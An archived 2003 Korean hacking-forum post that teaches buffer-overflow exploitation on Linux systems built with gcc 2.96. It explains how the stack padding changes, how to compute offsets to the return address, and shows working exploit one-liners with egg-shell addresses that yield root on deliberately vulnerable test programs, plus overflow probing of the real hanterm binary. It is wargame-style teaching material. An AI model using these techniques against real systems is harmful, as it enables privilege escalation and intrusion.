1579, 1/79 회원가입  로그인  
   ttongfly
   http://ttongfly.realskulls.org
   원재아빠님의 gcc 2.96에서의 버퍼 구조 강좌.

http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Lectures&no=68 [복사]


제가 아래 올린 문서들의 대부분은 gcc 컴파일러 버젼 2.95 이하의
환경에 적용되도록 작성된 강좌입니다. 따라서 만약 여러분이 gcc 2.96
이상의 버젼이 설치된 환경에서 버퍼 오버플로우를 습하시려면 실제
문서 내용과 차이가 나는 부분이 생길겁니다.
그에 따른 해결 방법에 대해선 아래 문서를 보시면 알 수 있을거구요.
추천하는 학습 방법은 gcc 2.95 이하 버젼의 환경에서 버퍼 오버플로우를
학습하신 후 그 다음 gcc 2.96 이상의 버젼에서의 적용 방법을 익히는
것입니다. 참고로 F.T.Z은 gcc 2.95 이하의 버젼을 사용하고 있으므로
변경된 버퍼 구조에 구애받지 않고 학습하실 수 있구요. 집이나 다른 서버에서
학습하시려면 다음과 같은 과정을 거치시면 예전 버젼의 gcc를 사용하실 수
있습니다.

1. 내 서버의 gcc 버젼 확인.
    [root@hancom root]# gcc -v
    Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/2.96/specs
    gcc version 2.96 20000731 (HancomLinux 2.2 2.96-99hl)
    [root@hancom root]#
    --> 2.96 이상이군요.

2. 어떤 패키지에 gcc 프로그램이 포함되어 있는지를 확인.
    [root@hancom root]# rpm -qf /usr/bin/gcc
    gcc-2.96-99hl
    [root@hancom root]#
    --> 이 패키지를 제거하면 gcc도 사라지겠죠?

3. 해당 패키지 삭제.
    [root@hancom root]# rpm -e gcc-2.96-99hl --nodeps
    [root@hancom root]#

4. 이전 버젼의 gcc 설치( 이전 버젼의 gcc는 egcs 패키지에 포함되어 있음. )

   [다운로드] <- egcs-1.1.2 패키지

   <설치>
    [root@hancom egc]# rpm -ivh egcs-1.1.2-30.i386.rpm --nodeps --force
    Preparing...            ########################################### [100%]
    1:egcs                   ########################################### [100%]
    [root@hancom egc]#

5. 확인
    [root@hancom egc]# gcc -v
    Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/specs
    gcc version egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)
    [root@hancom egc]#  
    --> 오예 2.91이 되었네요.
  
6. 다시 예전 버젼의 gcc를 복구시키려면 반대로 egcs를 언인스톨한 후  
   gcc-2.96.99hl을 설치하면 되겠죠?
   [root@hancom egc]# rpm -e egcs-1.1.2-30 --nodeps
   [root@hancom egc]# mount /dev/cdrom
   [root@mongii /root]# rpm -ivh /mnt/cdrom/RedHat/RPMS/gcc-2.96-99hl.i386.rpm
   gcc                         ##################################################
   [root@hancom root]# gcc -v
   Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/2.96/specs
   gcc version 2.96 20000731 (HancomLinux 2.2 2.96-99hl)
   [root@hancom root]#

* 웁스. 한가지 잊고 있었던게 있네요. 이전 버젼의 gcc를 설치하지 않고도
  이전 버젼의 버퍼 구조로 컴파일하는 옵션이 따로 있습니다.
  ex) gcc -o test test.c -mpreferred-stack-boundary=2
  위의 옵션을 사용하면 2.96 버젼 이상의 gcc에서도 2.95이하의 버퍼
  모양으로 컴파일 할 수 있습니다. 테스트 혹은 공개 해킹 서버를 만드시거나
  매번 옵션을 사용하는 것이 불편하실 때 먼저 설명드린 방법을 이용하세요.


---------------------------------------------------------------------------

GCC 버젼 2.96에서 buf구조                                      -. hackerleon in Null@Root

레드헷 7.0 이상버젼에서는 gcc2.96을 체용하고있다.
gcc2.96로 컴파일된 프로그램의경우 버퍼구조가 변형되는것을 볼수 있는데..
이번 글에서는 gcc2.96에서의 버퍼구조를 파확해보고져 한다.

얼마전 제 홈페이지에서 프레임 포인터에 관한 사항중 gcc버전 2.96에서 문제점에 관한 연구글을 NaNu9님 올려주신적이 있었다^^감사!!..그 연구 결과를 토데로 기존의 취약프로그램에 적용시 어떠한 형태로 적용되며, gcc 2.96에서 메모리 구조는 어떠한가를 알아보고 BOF나 FSB에 적용할수 있는 방법을 알아보고자 한다.
우선 http://hackerleon.cybersoldier.net 의 Q&A란의 470번 글을 참조하여 기본 전제로 한다

다음의 동일한 소스를 각각 gcc 2.91과 2.96에서 컴파일해 보도록 하자.


//test1.c
#include "dumpcode.h"
#include

main()
{ char buf2[12];
char buf[20];
fgets(buf,128,stdin);
printf("buf1:%x , buf2:%x, %d\n",buf,buf2,buf2-buf);
dumpcode((char*)buf,64);
}

test1을 통해 gcc 2.96과 gcc 2.91로 각각 컴파일된 프로그램의 메모리 구조를 보려고 한다.
우선 gcc 2.91에서의 결과이다.

$ gcc -v
Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/specs
gcc version egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)
$ gcc test1.c -o test1
$./test1
a
buf1:bffffa98 , buf2:bffffaac, 20
0xbffffa98  61 0a 00 40 34 97 04 08 60 ae 00 40 04 fb ff bf   a..@4...`..@....
0xbffffaa8  b8 fa ff bf 4b 84 04 08 20 97 04 08 34 97 04 08   ....K... ...4...
0xbffffab8  d8 fa ff bf cb 29 03 40 01 00 00 00 04 fb ff bf   .....).@........
0xbffffac8  0c fb ff bf 68 38 01 40 01 00 00 00 b0 83 04 08   ....h8.@........


위의 결과는 우리가 아주 많이봐왔구..당연한 결과 이다..도식적으로 보면

[buf(20)][buf2(12)][ebp(4)][ret]

아주 dump를 안해봐도 간단하게 유추가 가능 하다.

그럼 이번에는 gcc 2.96에서의 결과이다.

$gcc -v
Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/2.96/specs
gcc version 2.96 20000731 (Red Hat Linux 7.1 2.96-81)
$gcc test1.c -o test1
$./test1
a
buf1:bfffefa0 , buf2:bfffefc0, 32
0xbfffefa0  61 0a 00 40 a8 ca 13 40 44 f0 ff bf ce 6b 12 40   a..@...@D....k.@
0xbfffefb0  e8 ef ff bf 20 d0 00 40 50 83 04 08 a8 ca 13 40   .... ..@P......@
0xbfffefc0  44 f0 ff bf 44 63 01 40 e8 ef ff bf d1 84 04 08   D...Dc.@........
0xbfffefd0  18 98 04 08 fc 98 04 08 18 f0 ff bf fc bb 03 40   ...............@

이번의 결과는 아주 이상스럽다. buf에서 buf2까지의 거리가 32byte로 나왔구..
메모리구조를 보아도 아주 이상스러운 배열을 하고 있다..도식적으로 보며

[buf(20)][dummy1(12)][buf2(12)][dummy2(4)][dummy3(8)][ebp(4)][ret]

메모리 사이사이 마다 dummy(-임의로 명함-)들이 들어가는 것을 볼수 있다..

이렇듯 gcc 2.96에서는 메모리의 구조를 파확하기 어렵게 되어있는데...
심심한 여름저녁 할일도 없고 해서 약간의 노가다를 해본결과 재미있는 규칙성을 알아내게 되었다.

test1에 buf와 buf2의 크기를 변경해가며 buf에서 buf2까지의 거리를 계산해 보았다.

[http://hackerleon.cybersoldier.net/images/gcc296.jpg]

- 표1참조 -

표1에서 보면.. (정말 할일 없었나보다^^)
buf의 크기가 16의 배수로 나가고 첫16배수 이후부터 다음 16배수 까지는 buf2가 12byte이상일경우 다음16배수 값이 거리로 나오는것을 볼수 있다..
즉...test1에서 보면..buf 가 20바이트이므로 16 < buf <= 32 범위에 있고 따라서 buf2와의 거리는 "32" 인것이다.

그럼 임의로 buf값을 정하고 buf2까지의 거리를 계산해보자..
buf=200
buf2=12
에서 16x12=192, 16x13=208 이므로 192 < buf <= 208 범위에 있다 따라서 위의 아이디어가 맞다면 거리는 208이 나와야 할것이다.

음...이아이디어가 맞는지 buf의 크기를 변경하여 시행하여보자

//test2.c
#include

main()
{ char buf2[12];
char buf[200];
fgets(buf,224,stdin);
printf("buf1:%x , buf2:%x, %d\n",buf,buf2,buf2-buf);
}

$gcc -v
Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/2.96/specs
gcc version 2.96 20000731 (Red Hat Linux 7.1 2.96-81)
$gcc test2.c -o test2
$./test2
a
buf1:bfffeef0 , buf2:bfffefc0, 208

역시 아이디어가 맞았다...

그럼 우린 gcc 2.96에서도 소스에서 변수입력제한이 없다면 취약프로그램의 메모리구조를 유추하여 공략을 할수 있겠다...^^

담은 buf2에서 ret까지의 모양을 보도록 하자..

test1에서의 결과

[buf(20)][dummy1(12)][buf2(12)][dummy2(4)][dummy3(8)][ebp(4)][ret]

이렇게 생겨먹은 것을 보았다..앞서 buf에서 buf2사이의 dummy의 길이는 알아보았고...buf2에서 ret까지의 거리에 대해서도 알아보자...

역시 마챤가지인듯 하다..^^

test3를 보자

//test3.c

main()
{ char buf[20];
fgets(buf,64,stdin);
dumpcode((char*)buf,64);
}

$./test3
a
0xbfffefb0  61 0a 00 bf 20 d0 00 40 50 83 04 08 a8 ca 13 40   a... ..@P......@
0xbfffefc0  44 f0 ff bf 44 63 01 40 e8 ef ff bf d1 84 04 08   D...Dc.@........
0xbfffefd0  d0 97 04 08 b4 98 04 08 18 f0 ff bf fc bb 03 40   ...............@
0xbfffefe0  01 00 00 00 44 f0 ff bf 4c f0 ff bf 66 83 04 08   ....D...L...f...

여기서 gdb로 ret를 알아본결과 ret값이 0x4003bbfc 로 나왔다 따라서
ret는 0xbfffefdc 이다.
여기서도 앞서 계산한것과 같이 buf2의 크기가 16의 배수의 범위에서 최대값을 기준으로 dummy가 생성된다는것을 알수 있다..

buf가 20 이므로 16 < buf <= 32 범위에 있고 따라서 buf에서 dummy3까지의 거리는 32인것이다.

정리해보면

[buf(20) ----> 32(20+12)][dummy3(8)][ebp(4)][ret]

으하하...ret까지의 거리도 계산하여 유추가 가능 하다...


그럼 실전 BOF문제를 gcc 2.96에서 컴파일 해보고 우리가 생각한 것이 맞는가를 확인해보도록 하자.

//test4.c
#include

void printit() {
printf("Hello there!\n");
}

main()
{ int crap;
void (*call)()=printit;
char buf[20];
fgets(buf,50,stdin);
setreuid(0,0);
call();
}

어서 많이 보든 소스이다^^(mainsourece newbie13번 문제)

gcc 2.96에서면 buf(20)뒤에 printit을 call하는 주소가 나오므로..egg를 띄우고 [20][egg] 를 입력하면 바로 shell을 획득 할수 있엇을 것이다...
그럼 gcc 2.96으로 컴팔된 넘은 어떻게 할까...위에서 공부 한데로..

우선 buf의 크기가 20 이므로 16 < buf <=32 범위이다 따라서 buf에서 dummy3까지의 거리는 32 이다..
dummy3의 크기는 위에서 보았듯이 8byte 이므로 printit 을 call하는 주소까지의 거리는 32+8 = 40 바이트 인셈이다.

따라서 공격 방법은 [40][egg]가 되겠다.. 맞나 살펴보도록 하자.

egg:0xbffffa78

$(printf "AAAA...(40)\x78\xfa\xff\xbf";cat)\./test4

id
uid=500(leon) gid=(500)leon euid=0(root)

된다...

그럼 이번에는 리턴어드레스를 변조하는 문제를 풀어보자.

//test5.c
#include
main()
{
       char buf[20];
       printf("name :");
       fgets(buf,50,stdin);
       printf("Hi %s",buf);
}
마챦가지로 2.91에서는 egg를 띄운후 [20][ebp][ret]이므로...
공격은 [24][&egg] 하면될것이다. 그러나 2.96에선 위에서와 같이 적용할경우.
buf가 20바이트이므로 16 < buf < 32 따라서 buf에서 dummy3까지의 거리는 32바이트이고 dummy3는 8바이트 sfp 4바이트 결과..

[20[12][8][4] => [44바이트][egg] 로 공격을 해야 할것이다.그럼..

egg:0xbffffa78

$(printf "AAAA...(44)\x78\xfa\xff\xbf";cat)\./test4

id
uid=500(leon) gid=(500)leon euid=0(root)

또 된다^^.

그럼 이번에는 내친김에 상요프로그램의 오류대명사 "hanterm"에 적용해보자.

일단 gcc 2.91에서는

$ gcc -v
Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/specs
gcc version egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)
$hanterm -fn `perl -e "print 'a'x88"`
can't load english font aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa~~중략~aaaaaaa
세그멘테이션 오류

88바이트에서 세그오류가 났으며 즉, [84][fsb][ret] 임을 유추하여 공격할수 있다.

그럼 2.96에서는...어떻게 될까.. 버퍼를 유추해보자..
일단 -fn옵션의 변수(임의로 'buf'라하자)크기가 84바이트이므로..

16x5=80 < buf < 16x6=96

따라서, buf에서 dummy3까지의 거리는 96바이트이다.그러므로

[96][8][4][ret] 라는 계산이 나온다.. 즉, 108에서 최초 세그오류가 나야할것이다. 그럼 정말 그런지..

$gcc -v
Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/2.96/specs
gcc version 2.96 20000731 (Red Hat Linux 7.1 2.96-81)

$hanterm -fn `perl -e "print 'a'x107"`
can't load english font aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa~~중략~aaaaaaaaaaaaaaaa

$hanterm -fn `perl -e "print 'a'x108"`
can't load english font aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa~~중략~aaaaaaaaaaaaaaaaa
세그멘테이션 오류

예상햇던 데로군요...^^
따라서 2.96하의 hanterm역시 공격할수가 있겟습니다.


몇가지 예제를 통해서 우리는 gcc 2.96에서도 메모리의 상대적 위치를 유추 할수 있게 되었다...

그러나 여기서..

아주 중요한 점 하나가 잇다..

즉, fgets의 입력한도를 작게 잡으면 오버를 할수 없다는 점이다.

따라서 gcc 2.96에서는 다음과 같이 정리할수 있다.

1. 변수1과 변수2 간거리는 변수1이 16의 배수중 최대값 만큼 이다.(단, 변수2가 12바이트 이상일경우)

2. 변수정의가 끝나는 곳은 dummy3(8byte)가 할당된다.

3. 변수 입력범위를 변수가 속하는 16배수 최대값 이하로 할경우 BOF로인한 버그는 일어나지 않는다.


어수선 하게 gcc2.96에서의 취약 프로그램의 적용을 알아보았다..

gcc 2.96에서 컴파일된 FSB의 ret값 계산이나..BOF ret찾기등에 유용할것 같구 좀더 많은 연구가 이루어 지면 좋겠다...

  Hit : 10607     Date : 2003/09/19 11:46
[불법/스팸글로 신고하기]



    
Farcen 아... 어렵네요... dumpcode.h 먼저 이해를 해야할듯 2003/09/21  
wonjae190 원재아빠....,ㅡ.ㅡ 아빠! 2003/10/15  
allnude hanterm -fn 'perl -e "print 'a'x88"' 입력하면 윗글대로 안나오고 can't load english font perl -e "print ax88" 이렇게 2003/12/03  
allnude 나옵니다. 왜 그런가요? 현재 와우리눅스7.3이고 gcc는 2.95.4입니다. 2.91하고 똑같은 결과가 나옵니다. 2003/12/03  
allnude 물론 egg는 실행했구요.. (이곳 47번) 2003/12/03  
tinlove21 정말 잘읽었습니다. 고마워요 ㅋ 좋은정보입니다 도움 많이 되었어요^^ 2005/01/11  
kim0237 흐음... 리눅스 맘에 정말 들어 ㅡ.ㅜ 2006/06/19  
cjy9306 윽 아무리봐도 나는 모르것네.. 2010/01/07  
chlckdghsla 모르것다...ㅠㅠ어디서부터다시공부를해야하지 2012/09/21  
1579   왠만한사람들은다알지도모르겠지만[6]     백룡출해
03/17 10326
1578   원격종료....[39]     bsjzzz
01/02 9934
  원재아빠님의 gcc 2.96에서의 버퍼 구조 강좌.[9]     ttongfly
09/19 10606
1576   열(TR)과 행(TD)의 확장(펌)     rahzzang
11/21 5137
1575   연결리스트     han0161
06/21 6141
1574   여러선배님들 좀도와주십시오..[2]     appleone
06/29 5857
1573   여러분! net send 정리해 드립니다.[11]     idl0521
12/13 8452
1572   여러분[1]     phan_tom1
11/18 5768
1571   에그쉘 쓸줄 모르시는분..-_-필독[9]     은조
09/28 9072
1570   워게임을 해봅시다.hackthissite(basic 1)[2]     kjwon15
09/10 7555
1569   워게임 사이트입니다. [4]     wkdqkf2
03/18 5100
1568   워게임 문제 힌트좀 주실분 구함     rabbitlycat
04/30 3985
1567   왜 고등학교[5]     파란눈물
02/05 5517
1566   왜 해커가 되려는가[6]     dontknow
07/22 8272
1565   왜 C 이어야 하는가 ?[96]     소유
04/09 20463
1564   요즘 공부하고 있는 JAVA에 대한 질문과 답변[3]     장세만
07/14 6200
1563   왕초보자 들을 위한 C 언어 강좌[7]     kevin0960
01/25 7000
1562   왕초보 파이썬 (Python) 언어 배우기 - Site 추천[5]     푸른하늘
12/14 9262
1561   와우해커level2 문제풀이[3]     프라이드
08/20 7351
1560   와우해커 level1[3]     프라이드
08/20 7453
1 [2][3][4][5][6][7][8][9][10]..[79]

Copyright 1999-2021 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org & Wowhacker.com